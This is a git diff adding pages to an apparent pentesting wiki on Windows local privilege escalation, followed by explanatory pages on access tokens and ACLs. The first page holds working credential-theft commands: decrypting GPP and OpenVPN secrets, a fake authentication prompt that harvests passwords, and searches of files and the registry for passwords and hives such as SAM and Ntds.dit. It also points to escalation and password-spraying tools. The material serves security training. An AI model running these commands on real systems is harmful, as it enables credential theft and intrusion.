+* Services.xml
+* Scheduledtasks.xml
+* DataSources.xml
+* Printers.xml
+* Drives.xml
+
+**To decrypt the cPassword:**
+
+```bash
+#To decrypt these passwords you can decrypt it using
+gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
+```
+
+### IIS Web Config
+
+```bash
+Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
+```
+
+```bash
+C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
+C:\inetpub\wwwroot\web.config
+```
+
+```text
+Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
+Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
+```
+
+Example of web.config with credentials:
+
+```markup
+<authentication mode="Forms"> 
+    <forms name="login" loginUrl="/admin">
+        <credentials passwordFormat = "Clear">
+            <user name="Administrator" password="SuperAdminPassword" />
+        </credentials>
+    </forms>
+</authentication>
+```
+
+### OpenVPN credentials
+
+```csharp
+Add-Type -AssemblyName System.Security
+$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
+$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
+
+foreach ($item in $items)
+{
+  $encryptedbytes=$item.'auth-data'
+  $entropy=$item.'entropy'
+  $entropy=$entropy[0..(($entropy.Length)-2)]
+
+  $decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
+    $encryptedBytes, 
+    $entropy, 
+    [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
+ 
+  Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
+}
+```
+
+### Logs
+
+```bash
+# IIS
+C:\inetpub\logs\LogFiles\*
+
+#Apache
+Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
+```
+
+### Ask for credentials
+
+You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them \(notice that **asking** the client directly for the **credentials** is really **risky**\):
+
+```bash
+$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
+$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
+
+#Get plaintext
+$cred.GetNetworkCredential() | fl
+```
+
+### **Possible filenames containing credentials**
+
+Known files that some time ago contained **passwords** in **clear-text** or **Base64**
+
+```bash
+$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
+vnc.ini, ultravnc.ini, *vnc*
+web.config
+php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
+SiteList.xml #McAfee
+ConsoleHost_history.txt #PS-History
+*.gpg
+*.pgp
+*config*.php
+elasticsearch.y*ml
+kibana.y*ml
+*.p12
+*.der
+*.csr
+*.cer
+known_hosts
+id_rsa
+id_dsa
+*.ovpn
+anaconda-ks.cfg
+hostapd.conf
+rsyncd.conf
+cesi.conf
+supervisord.conf
+tomcat-users.xml
+*.kdbx
+KeePass.config
+Ntds.dit
+SAM
+SYSTEM
+FreeSSHDservice.ini
+access.log
+error.log
+server.xml
+ConsoleHost_history.txt
+setupinfo
+setupinfo.bak
+key3.db         #Firefox
+key4.db         #Firefox
+places.sqlite   #Firefox
+"Login Data"    #Chrome
+Cookies         #Chrome
+Bookmarks       #Chrome
+History         #Chrome
+TypedURLsTime   #IE
+TypedURLs       #IE
+%SYSTEMDRIVE%\pagefile.sys
+%WINDIR%\debug\NetSetup.log
+%WINDIR%\repair\sam
+%WINDIR%\repair\system
+%WINDIR%\repair\software, %WINDIR%\repair\security
+%WINDIR%\iis6.log
+%WINDIR%\system32\config\AppEvent.Evt
+%WINDIR%\system32\config\SecEvent.Evt
+%WINDIR%\system32\config\default.sav
+%WINDIR%\system32\config\security.sav
+%WINDIR%\system32\config\software.sav
+%WINDIR%\system32\config\system.sav
+%WINDIR%\system32\CCM\logs\*.log
+%USERPROFILE%\ntuser.dat
+%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
+```
+
+Search all of the proposed files:
+
+```text
+cd C:\
+dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
+```
+
+```text
+Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
+```
+
+### Credentials in the RecycleBin
+
+You should also check the Bin to look for credentials inside it
+
+To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password\_recovery\_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
+
+### Inside the registry
+
+#### Other possible registry keys with credentials
+
+```bash
+reg query "HKCU\Software\ORL\WinVNC3\Password"
+reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
+reg query "HKCU\Software\TightVNC\Server"
+reg query "HKCU\Software\OpenSSH\Agent\Key"
+```
+
+[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)\*\*\*\*
+
+### Browsers History
+
+You should check for dbs where passwords from **Chrome or Firefox** are stored.  
+Also check for the history, bookmarks and favourites of the browsers so maybe some **passwords are** stored there.
+
+Tools to extract passwords from browsers:
+
+* Mimikatz: `dpapi::chrome`
+* [**SharpWeb**](https://github.com/djhohnstein/SharpWeb)\*\*\*\*
+
+### **Generic Password search in files and registry**
+
+#### Search for file contents
+
+```bash
+cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
+findstr /si password *.xml *.ini *.txt *.config
+findstr /spin "password" *.*
+```
+
+#### Search for a file with a certain filename
+
+```bash
+dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
+where /R C:\ user.txt
+where /R C:\ *.ini
+```
+
+#### Search the registry for key names and passwords
+
+```bash
+REG QUERY HKLM /F "password" /t REG_SZ /S /K
+REG QUERY HKCU /F "password" /t REG_SZ /S /K
+REG QUERY HKLM /F "password" /t REG_SZ /S /d
+REG QUERY HKCU /F "password" /t REG_SZ /S /d
+```
+
+### Tools that search for passwords
+
+[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin I have created this plugin to **automatically execute every metasploit POST module that searches for credentials** inside the victim.  
+[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatically search for all the files containing passwords mentioned in this page.  
+[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is another great tool to extract password from a system.
+
+The tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) search for **sessions**, **usernames** and **passwords** of several tools that save this data in clear text \(PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP\)
+
+```bash
+Import-Module path\to\SessionGopher.ps1;
+Invoke-SessionGopher -Thorough
+Invoke-SessionGopher -AllDomain -o
+Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
+```
+
+## Leaked Handlers
+
+Imagine that **a process running as SYSTEM open a new process** \(`OpenProcess()`\) with **full access**. The same process **also create a new process** \(`CreateProcess()`\) **with low privileges but inheriting all the open handles of the main process**.  
+Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.   
+[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)  
+[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions \(not only full access\)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
+
+## Named Pipe Client Impersonation
+
+A `pipe` is a block of shared memory that processes can use for communication and data exchange.
+
+`Named Pipes` is a Windows mechanism that enables two unrelated processes to exchange data between themselves, even if the processes are located on two different networks. It's very similar to client/server architecture as notions such as `a named pipe server` and a named `pipe client` exist.
+
+When a **client writes on a pipe**, the **server** that created the pipe can **impersonate** the **client** if it has **SeImpersonate** privileges. Then, if you can find a **privileged process that is going to write on any pipe that you can impersonate**, you could be able to **escalate privileges** impersonating that process after it writes inside your created pipe. [**You can read this to learn how to perform this attack**](named-pipe-client-impersonation.md)**.**
+
+## From Administrator Medium to High Integrity Level / UAC Bypass
+
+\*\*\*\*[**Read this to learn about Integrity Levels**](integrity-levels.md) **and** [**this to learn what is UAC**](../authentication-credentials-uac-and-efs.md#uac)**, then read how to**[ **bypass it**](../authentication-credentials-uac-and-efs.md#uac)**.**
+
+## **From High Integrity to System**
+
+### **New service**
+
+If you are already running on a High Integrity process, the **pass to SYSTEM** can be easy just **creating and executing a new service**:
+
+```text
+sc create newservicename binPath= "C:\windows\system32\notepad.exe"
+sc start newservicename
+```
+
+### AlwaysInstallElevated
+
+From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.   
+[More information about the registry keys involved and how to install a _.msi_ package here.](./#alwaysinstallelevated)
+
+### High + SeImpersonate privilege to System
+
+**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.**
+
+### From SeDebug + SeImpersonate to Full Token privileges
+
+If you have those token privileges \(probably you will find this in an already High Integrity process\), you will be able to **open almost any process** \(not protected processes\) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.  
+Using this technique is usually **selected any process running as SYSTEM with all the token privileges** \(_yes, you can find SYSTEM processes without all the token privileges_\).  
+**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.**
+
+### **Named Pipes**
+
+This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client \(the service\) obtaining SYSTEM privileges.  
+If you want to [**learn more about name pipes you should read this**](./#named-pipe-client-impersonation).  
+If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md).
+
+### Dll Hijacking
+
+If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.  
+**You can** [**learn more about Dll hijacking here**](dll-hijacking.md)**.**
+
+### **From Administrator or Network Service to System**
+
+{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
+
+###  From LOCAL SERVICE or NETWORK SERVICE to full privs
+
+**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)\*\*\*\*
+
+## More help
+
+[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
+
+## Useful tools
+
+#### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)\*\*\*\*
+
+#### PS
+
+\*\*\*\*[**PowerSploit-Privesc\(PowerUP\)**](https://github.com/PowerShellMafia/PowerSploit) -- Check for misconfigurations and sensitive files \([check here]()\). Detected.  
+[**JAWS**](https://github.com/411Hall/JAWS) ****-- Check for some possible misconfigurations and gather info \([check here]()\).  
+[**privesc** ](https://github.com/enjoiz/Privesc)-- Check for misconfigurations  
+[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) ****-- It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use **-Thorough** in local.  
+[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) ****-- Extracts crendentials from Credential Manager. Detected.  
+[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) ****-- Spray gathered passwords across domain  
+[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) ****-- Inveigh is a PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool.  
+[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) -- Basic privesc Windows enumeration  
+[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock)  ~~****~~-- Search for known privesc vulnerabilities \(DEPRECATED for Watson\)  
+[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) ~~****~~-- Local checks **\(Need Admin rights\)**
+
+#### Exe
+
+[**Watson**](https://github.com/rasta-mouse/Watson) ****-- Search for known privesc vulnerabilities \(needs to be compiled using VisualStudio\) \([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson)\)  
+[**SeatBelt**](https://github.com/GhostPack/Seatbelt) ****-- Enumerates the host searching for misconfigurations \(more a gather info tool than privesc\) \(needs to be compiled\) **\(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**\)**  
+[**LaZagne**](https://github.com/AlessandroZ/LaZagne) ****-- Extracts credentials from lots of softwares \(precompiled exe in github\)  
+[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) ~~****~~-- Check for misconfiguration \(executable precompiled in github\). Not recommended. It does not work well in Win10.  
+[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Check for possible misconfigurations \(exe from python\). Not recommended. It does not work well in Win10.
+
+#### Bat
+
+\*\*\*\*[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool created based in this post \(it does not need accesschk to work properly but it can use it\).
+
+#### Local
+
+[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Reads the output of **systeminfo** and recommends working exploits \(local python\)  
+[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Reads the output of **systeminfo** andrecommends working exploits \(local python\)
+
+#### Meterpreter
+
+_multi/recon/local\_exploit\_suggestor_
+
+You have to compile the project using the correct version of .NET \([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)\). To see the installed version of .NET on the victim host you can do:
+
+```text
+C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
+```
+
+## Bibliography
+
+[http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)  
+[http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)  
+[http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)  
+[https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)  
+[https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)  
+[https://sushant747.gitbooks.io/total-oscp-guide/privilege\_escalation\_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)  
+[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)  
+[https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)  
+[https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)  
+[https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)  
+[https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)  
+[https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)  
+[http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)  
+[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md\#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
+
diff --git a/windows/windows-local-privilege-escalation/access-tokens.md b/windows/windows-local-privilege-escalation/access-tokens.md
new file mode 100644
index 00000000000..ac8fa8434b7
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/access-tokens.md
@@ -0,0 +1,105 @@
+# Access Tokens
+
+## Access Tokens
+
+Each **user logged** onto the system **holds an access token with security information** for that logon session. The system creates an access token when the user logs on. **Every process executed** on behalf of the user **has a copy of the access token**. The token identifies the user, the user's groups, and the user's privileges. A token also contains a logon SID \(Security Identifier\) that identifies the current logon session.
+
+You can see this information executing `whoami /all`
+
+```text
+whoami /all
+
+USER INFORMATION
+----------------
+
+User Name             SID
+===================== ============================================
+desktop-rgfrdxl\cpolo S-1-5-21-3359511372-53430657-2078432294-1001
+
+
+GROUP INFORMATION
+-----------------
+
+Group Name                                                    Type             SID                                                                                                           Attributes
+============================================================= ================ ============================================================================================================= ==================================================
+Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192
+Everyone                                                      Well-known group S-1-1-0                                                                                                       Mandatory group, Enabled by default, Enabled group
+NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114                                                                                                     Group used for deny only
+BUILTIN\Administrators                                        Alias            S-1-5-32-544                                                                                                  Group used for deny only
+BUILTIN\Users                                                 Alias            S-1-5-32-545                                                                                                  Mandatory group, Enabled by default, Enabled group
+BUILTIN\Performance Log Users                                 Alias            S-1-5-32-559                                                                                                  Mandatory group, Enabled by default, Enabled group
+NT AUTHORITY\INTERACTIVE                                      Well-known group S-1-5-4                                                                                                       Mandatory group, Enabled by default, Enabled group
+CONSOLE LOGON                                                 Well-known group S-1-2-1                                                                                                       Mandatory group, Enabled by default, Enabled group
+NT AUTHORITY\Authenticated Users                              Well-known group S-1-5-11                                                                                                      Mandatory group, Enabled by default, Enabled group
+NT AUTHORITY\This Organization                                Well-known group S-1-5-15                                                                                                      Mandatory group, Enabled by default, Enabled group
+MicrosoftAccount\cpolop@outlook.com                           User             S-1-11-96-3623454863-58364-18864-2661722203-1597581903-3158937479-2778085403-3651782251-2842230462-2314292098 Mandatory group, Enabled by default, Enabled group
+NT AUTHORITY\Local account                                    Well-known group S-1-5-113                                                                                                     Mandatory group, Enabled by default, Enabled group
+LOCAL                                                         Well-known group S-1-2-0                                                                                                       Mandatory group, Enabled by default, Enabled group
+NT AUTHORITY\Cloud Account Authentication                     Well-known group S-1-5-64-36                                                                                                   Mandatory group, Enabled by default, Enabled group
+
+
+PRIVILEGES INFORMATION
+----------------------
+
+Privilege Name                Description                          State
+============================= ==================================== ========
+SeShutdownPrivilege           Shut down the system                 Disabled
+SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
+SeUndockPrivilege             Remove computer from docking station Disabled
+SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
+SeTimeZonePrivilege           Change the time zone                 Disabled
+```
+
+ or using _Process Explorer_ from Sysinternals \(select process and access"Security" tab\):
+
+![](../../.gitbook/assets/image%20%28352%29.png)
+
+### Local administrator
+
+When a local administrator logins, **two access tokens are created**: One with admin rights and other one with normal rights. **By default**, when this user executes a process the one with **regular** \(non-administrator\) **rights is used**. When this user tries to **execute** anything **as administrator** \("Run as Administrator" for example\) the **UAC** will be used to ask for permission.  
+If you want to [**learn more about the UAC read this page**](../authentication-credentials-uac-and-efs.md#uac)**.**
+
+### Credentials user impersonation
+
+If you have **valid credentials of any other user**, you can **create** a **new logon session** with those credentials :
+
+```text
+runas /user:domain\username cmd.exe
+```
+
+The **access token** has also a **reference** of the logon sessions inside the **LSASS**, this is useful if the process needs to access some objects of the network.  
+You can launch a process that **uses different credentials for accessing network services** using:
+
+```text
+runas /user:domain\username /netonly cmd.exe
+```
+
+This is useful if you have useful credentials to access objects in the network but those credentials aren't valid inside the current host as they are only going to be used in the network \(in the current host your current user privileges will be used\).
+
+### Types of tokens
+
+There are two types of tokens available:
+
+* **Primary token**: Primary tokens can only be **associated to processes**, and they represent a process's security subject. The creation of primary tokens and their association to processes are both privileged operations, requiring two different privileges in the name of privilege separation - the typical scenario sees the authentication service creating the token, and a logon service associating it to the user's operating system shell. Processes initially inherit a copy of the parent process's primary token.
+* **Impersonation token**: Impersonation is a security concept implemented in Windows NT that **allows** a server application to **temporarily** "**be**" **the client** in terms of access to secure objects. Impersonation has **four possible levels**: 
+
+  * **anonymous**, giving the server the access of an anonymous/unidentified user
+  * **identification**, letting the server inspect the client's identity but not use that identity to access objects
+  * **impersonation**, letting the server act on behalf of the client
+  * **delegation**, same as impersonation but extended to remote systems to which the server connects \(through the preservation of credentials\). 
+
+  The client can choose the maximum impersonation level \(if any\) available to the server as a connection parameter. Delegation and impersonation are privileged operations \(impersonation initially was not, but historical carelessness in the implementation of client APIs failing to restrict the default level to "identification", letting an unprivileged server impersonate an unwilling privileged client, called for it\). **Impersonation tokens can only be associated to threads**, and they represent a client process's security subject. Impersonation tokens are usually created and associated to the current thread implicitly, by IPC mechanisms such as DCE RPC, DDE and named pipes.
+
+#### Impersonate Tokens
+
+Using the _**incognito**_ **module** of metasploit if you have enough privileges you can easily **list** and **impersonate** other **tokens**. This could be useful to perform **actions as if you where the other user**. You could also **escalate privileges** with this technique.
+
+### Token Privileges
+
+Learn which [**token privileges can be abused to escalate privileges in this page**](privilege-escalation-abusing-tokens.md).  
+Take a look to [**all the possible token privileges and some definitions on this external page**](https://github.com/gtworek/Priv2Admin).
+
+## References
+
+Learn more about tokens in this tutorials: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) and [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
+
diff --git a/windows/windows-local-privilege-escalation/acls-dacls-sacls-aces.md b/windows/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
new file mode 100644
index 00000000000..4e538a1dac9
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
@@ -0,0 +1,158 @@
+# ACLs - DACLs/SACLs/ACEs
+
+## **Access Control List \(ACL\)**
+
+An **ACL is an ordered list of ACEs** that define the protections that apply to an object and its properties. Each ACE identifies a security principal and specifies a set of access rights that are allowed, denied, or audited for that security principal.
+
+An object’s security descriptor can contain **two ACLs**:
+
+1. A **DACL** that **identifies** the **users** and **groups** that are **allowed** or **denied** access
+2. A **SACL** that controls **how** access is **audited**
+
+When a user tries to access a file, the Windows system runs an AccessCheck and compares the security descriptor with the users access token and evaluates if the user is granted access and what kind of access depending on the ACEs set.
+
+### **Discretionary Access Control List \(DACL\)**
+
+A DACL \(often mentioned as the ACL\) identify the users and groups that are assigned or denied access permissions on an object.  It contains a list of paired ACEs \(Account + Access Right\) to the securable object.
+
+### **System Access Control List \(SACL\)**
+
+SACLs makes it possible to monitor access to secured objects. ACEs in a SACL determine **what types of access is logged in the Security Event Log**. With monitoring tools this could raise an alarm to the right people if malicious users tries to access the secured object, and in an incident scenario we can use the logs to trace the steps back in time. And last, you can enable logging for troubleshoot access issues.
+
+## How the System Uses ACLs
+
+Each **user logged** onto the system **holds an access token with security information** for that logon session. The system creates an access token when the user logs on. **Every process executed** on behalf of the user **has a copy of the access token**. The token identifies the user, the user's groups, and the user's privileges. A token also contains a logon SID \(Security Identifier\) that identifies the current logon session.
+
+When a thread tries to access a securable object, the LSASS \(Local Security Authority\) either grants or denies access. To do this, the **LSASS searches the DACL** \(Discretionary Access Control List\) in the SDS data stream, looking for ACEs that apply to the thread.
+
+**Each ACE in the object's DACL** specifies the access rights that are allowed or denied for a security principal or logon session. If the object's owner has not created any ACEs in the DACL for that object, the system grants access right away.
+
+If the LSASS finds ACEs, it compares the trustee SID in each ACE to the trustee SIDs that are identified in the thread's access token.
+
+The system examines each ACE in sequence until one of the following events occurs:
+
+* **An access-denied ACE explicitly denies** any of the requested access rights to one of the trustees listed in the thread's access token.
+* **One or more access-allowed ACEs** for trustees listed in the thread's access token explicitly grant all the requested access rights.
+* All ACEs have been checked and there is still at least **one requested access** right that has **not been explicitly allowed**, in which case, access is implicitly **denied**.
+
+### Order of ACEs
+
+Because the **system stops checking ACEs when the requested access is explicitly granted or denied**, the order of ACEs in a DACL is important.
+
+The preferred order of ACEs in a DACL is called the "canonical" order. For Windows 2000 and Windows Server 2003, the canonical order is the following:
+
+1. All **explicit** ACEs are placed in a group **before** any **inherited** ACEs.
+2. Within the group of **explicit** ACEs, **access-denied** ACEs are placed **before access-allowed** ACEs.
+3. Within the **inherited** group, ACEs that are inherited from the **child object's parent come first**, and **then** ACEs inherited from the **grandparent**, **and so** on up the tree of objects. After that, **access-denied** ACEs are placed **before access-allowed** ACEs.
+
+The following figure shows the canonical order of ACEs:
+
+### Canonical order of ACEs
+
+![ACE](https://www.ntfs.com/images/screenshots/ACEs.gif)
+
+The canonical order ensures that the following takes place:
+
+* An explicit **access-denied ACE is enforced regardless of any explicit access-allowed ACE**. This means that the object's owner can define permissions that allow access to a group of users and deny access to a subset of that group.
+* All **explicit ACEs are processed before any inherited ACE**. This is consistent with the concept of discretionary access control: access to a child object \(for example a file\) is at the discretion of the child's owner, not the owner of the parent object \(for example a folder\). The owner of a child object can define permissions directly on the child. The result is that the effects of inherited permissions are modified.
+
+### GUI Example
+
+This is the classic security tab of a folder showing the ACL, DACL and ACEs:
+
+![](../../.gitbook/assets/classicsectab.jpg)
+
+If we click the **Advanced button** we will get more options like inheritance:
+
+![](../../.gitbook/assets/aceinheritance.jpg)
+
+And if you add or edit a Security Principal:
+
+![](../../.gitbook/assets/editseprincipalpointers1.jpg)
+
+And last we have the SACL in the Auditing tab:
+
+![](../../.gitbook/assets/audit-tab.jpg)
+
+### Example: Explicit access-denied to a group
+
+In this example, the access-allowed group is Everyone and the access-denied group is Marketing, a subset of Everyone.
+
+You want to deny the Marketing group access to a Cost folder. If the Cost folder's ACEs are in canonical order, the ACE that denies Marketing comes before the ACE that allows Everyone.
+
+During an access check, the operating system steps through the ACEs in the order in which they appear in the object's DACL, so that the deny ACE is processed before the allow ACE. As a result, users who are members of the Marketing group are denied access. Everyone else is allowed access to the object.
+
+### Example: Explicit before inherited
+
+In this example, the Cost folder has an inheritable ACE that denies access to Marketing \(the parent object\). In other words, all users who are members \(or children\) of the Marketing group are denied access by inheritance.
+
+You want to allow access to Bob, who is the Marketing director. As a member of the Marketing group, Bob is denied access to the Cost folder by inheritance. The owner of the child object \(user Bob\) defines an explicit ACE that allows access to the Cost folder. If the child object's ACEs are in canonical order, the explicit ACE that allows Bob access comes before any inherited ACE, including the inherited ACE that denies access to the Marketing group.
+
+During an access check, the operating system reaches the ACE that allows Bob access before it gets to the ACE that denies access to the Marketing group. As a result, Bob is allowed access to the object even though he is a member of the Marketing group. Other members of the Marketing group are denied access.
+
+### Access Control Entries
+
+As stated previously, an ACL \(Access Control List\) is an ordered list of ACEs \(Access Control Entries\). Each ACE contains the following:
+
+* A SID \(Security Identifier\) that identifies a particular user or group.
+* An access mask that specifies access rights.
+* A set of bit flags that determine whether or not child objects can inherit the ACE.
+* A flag that indicates the type of ACE.
+
+ACEs are fundamentally alike. What sets them apart is the degree of control they offer over inheritance and object access. There are two types of ACE:
+
+* Generic type that are attached to all securable objects.
+* Object-specific type that can occur only in ACLs for Active Directory objects.
+
+### Generic ACE
+
+A generic ACE offers limited control over the kinds of child objects that can inherit them. Essentially, they can distinguish only between containers and noncontainers.
+
+For example, the DACL \(Discretionary Access Control List\) on a Folder object in NTFS can include a generic ACE that allows a group of users to list the folder's contents. Because listing a folder's contents is an operation that can be performed only on a Container object, the ACE that allows the operation can be flagged as a CONTAINER\_INHERIT\_ACE. Only Container objects in the folder \(that is, only other Folder objects\) inherit the ACE. Noncontainer objects \(that is, File objects\) do not inherit the ACE of the parent object.
+
+A generic ACE applies to an entire object. If a generic ACE gives a particular user Read access, the user can read all the information that is associated with the object — both data and properties. This is not a serious limitation for most object types. File objects, for example, have few properties, which are all used for describing characteristics of the object rather than for storing information. Most of the information in a File object is stored as object data; therefore, there is little need for separate controls on a file's properties.
+
+### Object-specific ACE
+
+An object-specific ACE offers a greater degree of control over the types of child objects that can inherit them.
+
+For example, an OU \(Organizational Unit\) object's ACL can have an object-specific ACE that is marked for inheritance only by User objects. Other types of objects, such as Computer objects, will not inherit the ACE.
+
+This capability is why object-specific ACEs are called object-specific. Their inheritance can be limited to specific types of child objects.
+
+There are similar differences in how the two categories of ACE types control access to objects.
+
